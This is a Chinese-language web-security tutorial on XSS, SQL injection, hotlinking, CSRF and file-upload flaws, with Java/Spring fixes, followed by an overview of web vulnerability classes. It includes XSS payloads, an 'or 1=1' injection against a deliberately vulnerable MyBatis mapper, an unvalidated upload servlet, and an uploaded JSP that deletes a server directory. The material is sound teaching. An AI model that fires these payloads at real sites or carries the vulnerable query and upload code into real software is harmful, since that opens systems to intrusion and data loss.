    常见Web安全漏洞 XSS攻击 什么是XSS攻击手段 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端。 <script>...

    常见Web安全漏洞

    XSS攻击

    什么XSS攻击手段

    XSS攻击使用Javascript脚本注入进行攻击

    例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端。

    XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。
    第一种:对普通的用户输入,页面原样内容输出。

    打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:<script>alert(‘xss’)</script>, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=<script>alert(‘xss’)& lt;/script>,并对JSCODE做适当伪装,如:

    http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。

    第二种:在代码区里有用户输入的内容

    原则就是,代码区中,绝对不应含有用户输入的东西。

    第三种:允许用户输入HTML标签的页面。

    用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

    1,直接使用JS脚本。

    <img src=”javascript:alert(‘xss’)” />

    2,对JS脚本进行转码。

    <img src=”javascript:alert(‘xss’)” />

    3,利用标签的触发条件插入代码并进行转码。

    <img  οnerrοr=”alert(‘xss’)” />

    4,使用16进制来写(可以在傲游中运行)

    <img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″>

    以上写法等于<img STYLE=”background-image: url(javascript:alert(‘XSS’))”>

     

    如何防御XSS攻击

    请记住两条原则:过滤输入和转义输出

    将脚本特殊字符,转换成html源代码进行展示。

    汉子编码http://www.mytju.com/classcode/tools/encode_gb2312.asp

    步骤:编写过滤器拦截所有getParameter参数,重写httpservletwrapp方法

    将参数特殊字符转换成html源代码保存.

    // 重写HttpServletRequestWrapper 防止XSS攻击

    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    private HttpServletRequest request;

     

    /**

     * @param request

     */

    public XssHttpServletRequestWrapper(HttpServletRequest request) {

    super(request);

    this.request = request;

    }

     

    @Override

    public String getParameter(String name) {

    // 过滤getParameter参数 检查是否有特殊字符

    String value = super.getParameter(name);

    System.out.println("value:" + value);

    if (!StringUtils.isEmpty(value)) {

    // 将中文转换为字符编码格式,将特殊字符变为html源代码保存

    value = StringEscapeUtils.escapeHtml(value);

    System.out.println("newValue:" + value);

    }

    return value;

    }

     

    }

    SpringBoot启动加上@ServletComponentScan

    @SpringBootApplication

    @ServletComponentScan

    public class App {

     

    public static void main(String[] args) {

    SpringApplication.run(App.class, args);

    }

     

    }

     

    SQL注入攻击

    什么SQL注入

    SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库执行一些恶意的操作。

    造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码

    SQL注入防攻击手段

    不要使用拼接SQL语句方式、最好使用预编译方式,在mybatis编写sql语句的时候,最好使用#传参数方式,不要使用?传参数,因为?传参数方式,可能会受到sql语句攻击。

     

     

    演示案例:

    http://127.0.0.1:8080/login?userName='liusi'&password='123'

    http://127.0.0.1:8080/login?userName='liusi'&password='123'  or 1=1

     

    @RestController

    public class LoginController {

    @Autowired

    private UserMapper userMapper;

     

    @RequestMapping("/login")

    public String login(UserEntity userEntity) {

    System.out.println("账号密码信息:userEntity:" + userEntity.toString());

    UserEntity login = userMapper.login(userEntity);

    return login == null ? "登陆失败!" : "登陆成功!";

    }

     

    }

     

    public interface UserMapper {

     

    @Select(" SELECT  * FROM user_info where userName=${userName} and password=${password}")

    public UserEntity login(UserEntity userEntity);

     

    }

     

     

     

     

     

     

    MyBatis #与?区别

    #{}: 解析为一个 JDBC 预编译语句(prepared statement)的参数标记符,一个 #{ } 被解析为一个参数占位符,可以防止SQL注入问题。

    ${}: 仅仅为一个纯碎的 string 替换,在动态 SQL 解析阶段将会进行变量替换。

    Http请求防盗链

    什么是防盗链

    比如A网站有一张图片,被B网站直接通过img标签属性引入,直接盗用A网站图片展示。

     

    如何实现防

      判断http请求头Referer域中的记录来源的值,如果和当前访问的域名不一致的情况下,说明该图片可能被其他服务器盗用。

    使用过滤器判断请求头Referer记录请求来源

    @WebFilter(filterName = "imgFilter", urlPatterns = "/imgs/*")

    public class ImgFilter implements Filter {

     

    @Value("${domain.name}")

    private String domainName;

     

    public void init(FilterConfig filterConfig) throws ServletException {

     

    }

     

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

    throws IOException, ServletException {

    HttpServletRequest req = (HttpServletRequest) request;

    String referer = req.getHeader("Referer");

    if (StringUtils.isEmpty(referer)) {

    request.getRequestDispatcher("/imgs/error.png").forward(request, response);

    return;

    }

    String domain = getDomain(referer);

    if (!domain.equals(domainName)) {

    request.getRequestDispatcher("/imgs/error.png").forward(request, response);

    return;

    }

    chain.doFilter(request, response);

    }

     

    /**

     * 获取url对应的域名

     *

     * @param url

     * @return

     */

    public String getDomain(String url) {

    String result = "";

    int j = 0, startIndex = 0, endIndex = 0;

    for (int i = 0; i < url.length(); i++) {

    if (url.charAt(i) == '/') {

    j++;

    if (j == 2)

    startIndex = i;

    else if (j == 3)

    endIndex = i;

    }

     

    }

    result = url.substring(startIndex + 1, endIndex);

    return result;

    }

     

    public void destroy() {

     

    }

    }

     

     

    注意测试的时候,最好开启两个不同的浏览器测试,避免图片缓存的原因

     

    CSRF攻击

    CSRF攻击产生的原因

     

    (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

     

     

    防御CSRF攻击手段

    使用图形验证码防止机器模拟接口请求攻击,在调用核心业务接口时,比如支付、下单、等接口,最好使用手机短信验证验证或者是人脸识别,防止其他用户使用Token伪造请求。

    忘记密码漏洞

     

    黑客使用抓包工具分析Http请求,在忘记密码找回时,需要发送一套短信验证码,如果验证码数字比较短的话,很容易使用暴力破解方式攻击破。

    防御手段:

    忘记密码验证码最好在6-8位。

    一旦频繁调用接口验证时,应该使用图形验证码拦截,防止机器模拟。

    使用黑名单和白名单机制,防御攻击。

     

     

    上传文件漏洞

    漏洞描述

    上传漏洞这个顾名思义,就是攻击者通过上传木马文件,直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。

     导致该漏洞的原因在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。

    漏洞危害

    1)可以得到WEBSHELL

    2)上传木马文件,可以导致系统瘫痪

     

     

    Tomcat虚拟地址:

     

    F:\itmayiedujiangke2018-06-12\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\tomcat_web

     

    环境搭建

     Maven依赖

    <dependencies>

    <dependency>

    <groupId>javax.servlet</groupId>

    <artifactId>javax.servlet-api</artifactId>

    <version>4.0.1</version>

    </dependency>

     

    <dependency>

    <groupId>commons-fileupload</groupId>

    <artifactId>commons-fileupload</artifactId>

    <version>1.3.3</version>

    </dependency>

     

    <dependency>

    <groupId>commons-io</groupId>

    <artifactId>commons-io</artifactId>

    <version>2.4</version>

    </dependency>

     

    </dependencies>

     

    Index.jsp

     

    <%@ page language="java" contentType="text/html; charset=UTF-8"

    pageEncoding="UTF-8"%>

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

    <html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Insert title here</title>

    </head>

    <body>

     

    <form action="/load/UploadServlet" method="post"

    enctype="multipart/form-data">

    <input type="file" name="file" /> <input type="submit" value="submit" />

    </form>

    </body>

    </html>

     

    UploadServlet

    public class UploadServletextends HttpServlet {

     

    /**

     * 文件上传

     */

    protected void doPost(HttpServletRequest request, HttpServletResponse response) {

    String root = request.getServletContext().getRealPath("/upload");

    DiskFileItemFactory factory = new DiskFileItemFactory();

    ServletFileUpload upload = new ServletFileUpload(factory);

    try {

    List<FileItem> list = upload.parseRequest(request);

    for (FileItem it : list) {

    // 如果是file文件类型

    if (!it.isFormField()) {

    it.write(new File(root + "/" + it.getName()));

    response.getWriter().write("success");

    }

    }

    } catch (Exception e) {

    try {

    response.getWriter().write("exception");

    } catch (IOException e1) {

    e1.printStackTrace();

    }

    e.printStackTrace();

    }

    }

     

    }

     

     

     脚本文件

    创建一个a.jsp

     

    <%@page import="java.io.File"%>

    <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>

    <%

        String root ="F:\\itmayiedu";

        File file = new File(root);

        file.delete();

    %>

     

     

     

     

    修复方案

    1)对文件格式限制,只允许某些格式上传

    2)对文件格式进行校验,前端跟服务器都要进行校验(前端校验扩展名,服务器校验扩展名、Content_Type等)

    3)将上传目录防止到项目工程目录之外,当做静态资源文件路径,并且对文件的权限进行设定,禁止文件下的执行权限。

     

     

    判断文件流是否为图片格式

     

    /**

     * 文件上传

     */

    protected void doPost(HttpServletRequest request, HttpServletResponse response) {

    String root = request.getServletContext().getRealPath("/upload");

    DiskFileItemFactory factory = new DiskFileItemFactory();

    ServletFileUpload upload = new ServletFileUpload(factory);

    try {

    List<FileItem> list = upload.parseRequest(request);

    for (FileItem it : list) {

    // 如果是file文件类型

    if (!it.isFormField()) {

    FileType fileType = getFileType(it.getInputStream());

    if (fileType == null) {

    // 非图片格式

    response.getWriter().write("fail");

    return;

    }

    String imgValue = fileType.getValue();

    System.out.println("imgValue:" + imgValue);

    // 是图片格式

    it.write(new File(root + "/" + it.getName()));

    response.getWriter().write("success");

     

    }

    }

    } catch (Exception e) {

    try {

    response.getWriter().write("exception");

    } catch (IOException e1) {

    e1.printStackTrace();

    }

    e.printStackTrace();

    }

    }

     

    // 判断文件是图片格式

    public static FileType getFileType(InputStream is) throws IOException {

    byte[] src = new byte[28];

    is.read(src, 0, 28);

    StringBuilder stringBuilder = new StringBuilder("");

    if (src == null || src.length <= 0) {

    return null;

    }

    for (int i = 0; i < src.length; i++) {

    int v = src[i] & 0xFF;

    String hv = Integer.toHexString(v).toUpperCase();

    if (hv.length() < 2) {

    stringBuilder.append(0);

    }

    stringBuilder.append(hv);

    }

    FileType[] fileTypes = FileType.values();

    for (FileType fileType : fileTypes) {

    if (stringBuilder.toString().startsWith(fileType.getValue())) {

    return fileType;

    }

    }

    return null;

    }

     

    其他攻击漏洞

    直接异常信息,会给攻击者以提示。 可以使用mvc中的工具,把错误码异常等进行封装

    HTML注释, 会暴露功能,方便攻击。 上线时去除注释

    文件上传, 如果本身功能就是上传文件去执行,那么就有可能执行非常危险的命令。 解决方式是,设置文件白名单,限制文件类型,另外还可以重新命名文件,改名为不可执行的

    路径遍历, 使用相对路径来遍历未开放的目录。 方式是将JS,CSS部署在独立的服务器,使用独立域名。 其他文件不使用静态URL访问,动态参数不包含文件路径信息。

    展开全文
  • Web安全漏洞分类

    千次阅读 2012-10-15 13:54:24
    1.1 Web安全漏洞分类 Web安全漏洞可以分为两类:一类包括平台的安全漏洞,另一类是应用自身的安全漏洞。 1.1.1 Web平台的安全漏洞 Web平台自身的安全漏洞——许多Web应用程序共享的部分,例如Linux、Windows、...


    1.1 Web安全漏洞分类
    Web安全漏洞可以分为两类:一类包括平台的安全漏洞,另一类是应用自身的安全漏洞。

    1.1.1    Web平台的安全漏洞

    Web平台自身的安全漏洞——许多Web应用程序共享的部分,例如Linux、Windows、Apaehe和oraele等。它们扮演着以下角色:

    n           Web服务器   这一部分为用户浏览器提供Web页面。最常用的例子就是Apache和IIS。每种Web服务器都有一系列安全漏洞。

    n           应用服务器    这一部分包括用户操作、解释、提供数据。应用服务器可以是Web服务器的一部分,例如PHP和Apache、ASP.NET和IIS。另一方面,应用服务器可以是物理上独立的服务器,例如Tomcat Servlet引擎。每种Web应用服务器同样有一系列安全漏洞。

    n           数据库    这一部分存储应用所需的全部数据。尽管用户能够与Web和应用服务器交互,但他们通常不能直接访问数据库服务器。大多数情况下,应用务器代理用户和数据库之间的数据,并格式化数据使之能够正确存储。每种数据库服务器也都有一系列安全漏洞。

    Web应用自身的安全漏洞,即Web站点中的编程错误引起的暴露用户的详细息、允许恶意用户执行任意的数据库查询,甚至允许通过远程命令行访问服务。

    1.1.2    web应用程序漏洞

    基于Web的应用程序漏洞是错综复杂的,常见的Web应用程序漏洞有以下大类。

    Ø          跨站点脚本攻击

    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

    Web页面经常在应用程序的某个地方对用户的输入进行回显。一般在预先设计好的某个特定域中输入纯文本才能被回显,但是HTML并不仅仅支持纯文本,还可以包含多种客户端的脚本代码,以此来完成许多操作,诸如验证表单数据,或者提供动态的用户界面元素。

    Ø          SQL Injection攻击

    SQL命令就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

    SQL命令即为应用系统前端Web和后端数据库之间的接口,使得数据可以传递至Web应用程序,也可以从其中发送出来。很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击通过在URL、表格域,或者其他的输入域中输入自已的SQL命令,以此改变查询属性骗过应用程序,从而可以对数据库进行不受限制的访问。

    Ø          物理路径泄露漏洞

    物理路径泄露,即攻击者可能利用此漏洞得到的信息对系统进行进一步的攻击,提供Web、FTP、SMTP等公共服务器都可能出现物理路径泄露的问题。

    物理路径泄露属于低风险等级缺陷,它的危害一般被描述为“攻击者可以利用此漏洞得到信息,来对系统进一步地攻击”。导致Web服务器路径泄露的原因有很多,可能是Web平台本身、脚本语言解释器、引擎插件、组件、辅助程序等一些原因错误导致的。很多时候Web服务器路径泄露漏洞是由于Web服务器处理用户请求出错导致的,如通过提交一个超长的请求,或者是某个精心构造的特殊请求,或者是请求一个Web服务器上不存在的文件。这些请求都有一个共同特点,那就是被请求的文件肯定属于CGI脚本,而不是静态HTML页面。比如,提交一个不存在的CGI文件请求,或者提交一个没有输出的CGI文件的请求,请求返回结果将会把网站本身所在的物理路径给暴露出来。

    另一种类型的Web服务器路径泄露漏洞是由于Web服务器的某些显示环境变量的程序错误输出了Web服务器的物理路径。

    同时,在Web应用网站开发过程中,程序员没有合理应用编程语言提供的出错处理函数。例如Perl中的“die”函数,如果没有在错误信息后面加上“\n”的话,就很可能会导致物理路径泄露。

    Ø          源代码泄露漏洞

    源代码泄露漏洞的产生是由于输入验证错误引起的。

    以IIS为例,IIS是通过文件扩展名来决定将一个文件内容直接显示出来还是作为脚本执行的。对于ASP文件,如果请求中的扩展名是“.asp”那么IIS可以正确处理。如果将扩展名后面加一个“%81”,IIS将不认为这是一个ASP文件,也就不会执行。但是文件系统会忽略文件名后的“%81”,可以正确找到文件。例如请求URL为:http://www.megamoneycorp.com/getreport.asp?item=Q1-2005.htm,则可以构造URL:http://www.megamoneycorp.com/getreport.asp?item=getreport.asp,以显示源代码。

    Ø          目录遍历漏洞

    目录遍历攻击指的是恶意用户找到受限文件的位置并且浏览或者执行它们。

    Web服务器程序(包括Web应用程序)就是向用户提供包含动态或者静态页面,这些页面都存储在Web服务器中。Web服务器和Web应用程序的作用就是对这些页面进行处理并将其发送到客户机上,同时将正在访问的用户限制在表示Web内容的文件中,而且还需要阻止攻击者浏览和执行Web服务器上的任何其它文件。目录遍历主要使用猜测文件是否存在的方法进行。

    Ø          执行任意命令

    执行任意命令即执行任意操作系统命令,主要包括两种情况:一是通过遍历目录,如二次解码和UNICODE解码漏洞,来执行系统命令;另外一种就是Web服务器把用户提交的请求作为SSI指令解析,因此导致执行任意命令。

    在Web发展的早期,程序员利用C语言或者Perl语言编写Web应用程序,存放于Unix服务器上。这个理念就是编写短小的应用程序,并且将他们连接起来,完成更复杂的功能。在安全方面,当数据被传送到一个不同环境的其他组件中时,会对Web服务器造成很大的安全漏洞,使得攻击变得异常的容易。这种攻击背后的思想就是运行自已输入的命令,而不是按照开发人员预期的那样,执行某个指定的程序。

    攻击这种漏洞的目标是发送到服务器上的操作系统命令或者可执行程序的用户输入。这些输入域的一部分会常出现在应用程序的参数中,这些参数可能是页面中包含的一些被引用的文件,也可能是其他程序的参数。

    Ø          缓冲区溢出漏洞

    缓冲区溢出攻击是指在扰乱具有某些特权运行的程序的功能的前提下,使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell,但不一直是这样的。为了达到这个目的,攻击者必须达到如下的两个目标:(1)在程序的地址空间里安排适当的代码。 (2)通过适当地初始化寄存器和存储器,让程序跳转到我们安排的地址空间执行。由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。

    缓冲区溢出是针对Web应用最严重的一种攻击,当程序无法检查正在处理的数据输入量时就有可能发生缓冲区溢出问题,如果输入的数据量超过了程序为其分配的内存空间的大小,它就会侵占其他程序堆栈的内存空间,这些内存中原有的其他数据就会被覆盖。大多数情况下,这些被覆盖的数据会导致软件崩溃。

    Ø          拒绝服务攻击

    服务拒绝攻击企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务Q929230,服务拒绝攻击是最容易实施的攻击行为,主要包括:死亡之ping (ping of death)、泪滴(teardrop)、SYN洪水(SYN flood)、Land攻击、Smurf攻击、 Fraggle攻击、 电子邮件炸弹、畸形消息攻击等。

    拒绝服务攻击思想是,代码的执行总是需要时间的,每次调用函数,或者是由Web服务器或者是由应用程序或者是由数据库,函数执行的过程中总要耗费一定的处理器周期。如果执行过程需要很长的时间,并且操作系统无法将其切换到其他的程序上,服务器就会被束缚在为一个请求进行服务的过程中。

    Ø          CGI漏洞攻击

    CGI 是 Common Gateway Interface 的缩写,是服务器端和用户沟通的程序,使得外部程序能生成HTML、图像或者其他内容,而服务器处理的方式与那些非外部程序生成的HTML、图像或其他内容的处理方式是相同的。

    CGI程序是交互性的,它允许用户把自已的数据按照一定的格式发送给服务器,然后由服务器对其进行解释,之后再把解释的结果传给用户,如果用户提交了一些非正常的数据,那么服务器在解释这些数据时可能会绕过IIS对文件名所作的安全检查,在某些条件下,攻击者可以执行任意系统命令。

    Ø          被破坏的认证和会话管理

    被破坏的认证和会话管理(Broken Authentieation and Session Mangement):授权和会话管理包括处理用户授权和管理激活态的会话的所有方面。

    授权是这个过程的关键方面,但是即使是固有的授权验证也有可能遭到含有漏洞的信任管理功能破坏。这些固有的授权验证包含修改密码、忘记密码、记住密码、账号更新和其它更新功能。在网络中,通常的用户授权包括userID和密码的使用。功能更为强大的授权方法包括基于密码标记或者统计的软件和硬件,但是这种机制对于大多数的网络应用程序而言是一笔无法负担的开销。大多数的账户和会话管理漏洞可能导致对于用户或者系统管理员账号的破坏。开发团队通常会低估设计这些保障网站信任授权和会话管理方案的复杂性,网络应用程序必须建立会话来跟踪每个用户的请求数据流。HTTP并不提供这方面的能力,所以网络应用程序必须自己创建它们。

    Ø          不当异常处理

    不当异常处理(Improper Error Handling)可能给网站带来各种各样的安全问题。最常见的问题就是向用户显示内部出错信息,如果这些出错信息不加选择都展现到用户面前,那么就可能公开了本不应该公开的细节。这些细节可能为攻击者提供网站潜在漏洞的重要线索,并且这类信息也会干扰到正常用户。

    在正常操作时,Web应用程序也会生成一些出错情况,内存不够、空指针异常、系统调用失败、数据库不存在、网络超时等。这些错误必须被一个即定的严密方案正确地处理,从而为用户提供一份有意义的出错信息,为Web应用维护人员提供诊断信息,而不是为攻击者提供有用的信息。有时即使出错信息不能提供过多的细节,出错信息的差异也会把该Web应用是如何工作的这样重要的信息暴露出来:并且暴露了那些出错信息背后的隐含意义。例如,当一个用户试图访问一份他无权访问的文件时,通常出错信息会给出如下提示“访问被拒绝”,这种区别可能会暴露这个文件是否存在,或者这个Web应用的目录结构。

    Ø          不安全的存储

    大多数Web应用程序都需要存储敏感的信息,它们或者将信息存储到数据库中,或者将信息存储到文件系统的某个位置上。通常,人们使用加密技术来保护这些敏感的信息,虽然加密技术已经很容易使用,但是开发人员还是常常在将加密技术和应用程序相结合的时候出错。开发人员可能过高地估计了加密技术所带来的安全度,并且他们不会像留意网站中其它部分的安全那样注意存储部分的安全。经常出错的几个地方包括:

    n         未对关键数据进行加密;

    n         密钥、证书和密码的不安全存放;

    n         在内存中不恰当地保存关键信息;

    n         不当的随机资源;

    n         不当的算法选择;

    n         一种新开发的加密算法;

    n         当密钥更改或者其它必备的维护过程发生时,无法提供最新的技术支持。

    Ø          不安全的配置管理

    Web应用程序服务器的配置对于Web应用程序的安全起到了关键作用。许多应用程序服务器提供了Web应用程序能够使用的服务,例如数据存储、目录服务、邮件、信息处理等等,没有合理配置的服务器很可能导致各种安全问题。

    一般说来,网络开发小组和网站管理小组的工作是各自独立的,Web应用程序的安全要求两者共同努力,并且需要其中的成员都能够保障系统Web应用程序的安全。许多服务器的配置问题妨碍了安全性,它们包括:

    n         服务器软件漏洞或者错误的配置允许列出目录和进行目录遍历;

    n         没必要的缺省、备份或者例子文件;

    n         服务器软件未打补丁的漏洞;

    n         不当的文件和目录访问权限;

    n         没有必要的服务,包括内容管理和远程管理;

    n         使用缺省密码和账号;

    n         被激活的、可以被访问的管理或者调试功能;

    n         使用缺省证书;

    n         通过外部系统的不正确授权;

    n         错误配置的SSL证书和加密设置。

    上述问题一旦被检测出来,可能会被很快攻克并且造成网站的巨大破坏,得逞的攻击也能给网站的备份系统(包括数据库和其它相关的网站)造成很大损害。

    Ø          竞争条件

    竞争条件是指,当由于事件次序异常而造成对同一资源的竞争,从而导致程序无法正常运行时,就会出现“竞争条件”。该漏洞通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争。

    竞争条件无需介入同一程序的两个部分之间的竞争;如果一个外部的攻击者可以通过意想不到的方式干扰程序,那么就会出现很多安全问题。条件竞争主要针对一些管理服务器而言,这类服务器一般是以system或root身份运行的。当它们需要使用一些临时文件,而在对这些文件进行写操作之前,却没有对文件的属性进行检查,一般可能导致重要系统文件被重写,甚至获得系统控制权。

    Ø          未验证的输入

    Web应用程序一般是根据HTTP请求中用户的输入决定如何响应,攻击者能够利用HTTP请求中的任何一部分,包括URL、请求字符串(Qurey String)、cookie头部、表单项,隐含参数传递代码来发动攻击。

    一些网站使用过滤器过滤掉恶意输入,但是对于输入信息存在着各种各样的编码方式,几乎所有的HTTP输入都可以被表示成多种形式,使用编码技术可以绕过Web应用程序的验证与过滤机制,而且对这种攻击难以防范。很多网络应用程序只在使用了客户端机制来验证输入。但是,客户端的验证机制可以简单的绕过去,这就造成了网络应用程序直接面对那些恶意的输入参数而毫无防备。攻击者可以使用简单的工具例如telnet来生成他们的HTTP请求,他们可以很不在意那些开发人员在客户端预先设置好安全机制。

    Ø          错误的访问控制

    错误的访问控制(Broken Access Control),访问控制有时也被称为授权,是指一个网络应用程序如何将一些对于某些内容和功能的访问权利赋予某些用户而不是其它用户。这种验证通常在授权之后执行,并且管理那些己经授权了的用户允许进行的什么操作。

    展开全文
  • 常见web安全漏洞

    千次阅读 2018-11-13 00:57:09
    1. cookie重要性 cookie是浏览器用来判断用户登录状态的。... 2. 同源策略 没有同源策略的危害 早期的浏览器,没有同源策略。不同域名的javascript可以相互访问cookie。 假设这么一种情形,你登录了某银行网站,没有...
  • WEB安全】常见WEB漏洞

    万次阅读 2018-09-20 19:45:32
    欢迎关注公众号: ----------------------------------------------正文---------------------------------------------------- ...随着互联网的广泛使用,Web应用已经融入到日常生活中的各个方面:网上购物...
  • Web 安全恩仇录:漏洞原理

    千次阅读 2019-07-05 10:04:13
    本课程主要内容为 Web 常见漏洞分析,同时会介绍在各个阶段需要做什么事,该课程利用的攻防平台是 Kali Linux 以及一些 Linux 和 Windows 靶机,按照主次会依次介绍 OWASP 10 的漏洞类型。通过学习本课内容,能够...
  • 十大常见web漏洞及防范

    万次阅读 多人点赞 2018-07-29 13:26:54
    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的...
  • 现在有许多消息令我们感到Web的危险性,因此,当前如何构建一个安全Web环境成为网管员和安全管理员们义不容辞的责任。但是巧妇难为无米之炊,该选择哪些安全工具呢? 扫描程序可以在帮助造我们造就安全Web站点上...
  • 先来看几个出现安全问题的例子OWASP TOP10开发为什么要知道OWASP TOP10TOP1-注入TOP1-注入的示例TOP1-注入的防范TOP1-使用ESAPI(https://github.com/ESAPI/esapi-java-legacy)TOP2-失效的身份认证和会话管理TOP2-...
  • awvs扫描器扫描web漏洞

    万次阅读 2018-01-29 10:12:23
    一、学习目的: 1、了解AWVS-web漏洞扫描工具 2、学习AWVS用法 二、介绍AWVS ...AWVS可以通过SQL注入攻击漏洞、跨站脚本漏洞等来审核web应用程序的安全性。他可以扫描任何可通过web浏览器访问的和遵循H
  • 10大Web漏洞扫描工具

    万次阅读 2018-09-20 18:19:19
    推荐10大Web漏洞扫描程序 Nikto 这是一个开源的Web服务器扫描程序,它可以对Web服务器的多种项目(包括3500个潜在的危险文件/CGI,以及超过900个服务器版本,还有250多个服务器上的版本特定问题)进行全面的测试。...
  • 目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以使web根目录...
  • 10大Web漏洞扫描程序

    万次阅读 2014-07-28 11:32:20
  • Web漏洞扫描工具汇总

    万次阅读 2019-01-07 17:10:14
    可见总体漏洞扫描概况,也可导出报告,报告提供漏洞明细说明、漏洞利用方式、修复建议。缺点是限制了并行扫描的网站数。 2、OWASP Zed(ZAP),来自OWASP项目组织的开源免费工具,提供漏洞扫描、爬虫、Fuzz功能,...
  • 目录遍历漏洞详解

    万次阅读 2017-07-13 16:47:01
    目录遍历是Http所存在的一个安全漏洞,它使得攻击者能够访问受限制的目录,并在Web服务器的根目录以外执行命令。  Web服务器主要提供两个级别的安全机制:  访问控制列表——就是我们常说的ACL  根目录...
  • 目录遍历漏洞

    万次阅读 2017-03-16 11:32:12
    目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以使web根目录...
  • Web服务器常见8种安全漏洞

    千次阅读 2018-11-19 21:44:05
     物理路径泄露一般是由于Web服务器处理用户请求出错导致的,如通过提交一个超长的请求,或者是某个精心构造的特殊请求,或是请求一个Web服务器上不存在的文件。这些请求都有一个共同特点,那就是被请求的文件肯定...
  • 常用安全测试工具

    万次阅读 2018-02-28 14:55:54
    端口扫描:NMAP工具操作系统漏洞扫描工具:Nessus协议健壮性测试:Codenomicon、Peachweb漏洞扫描:Appscan、Burpsuite(可抓取、拦截web报文并进行修改)数据库漏洞扫描:Nessus、NGSfiddler工具:可抓取web报文,并...
1 2 3 4 5 ... 20
收藏数 91,380
精华内容 36,552
关键字:

web安全漏洞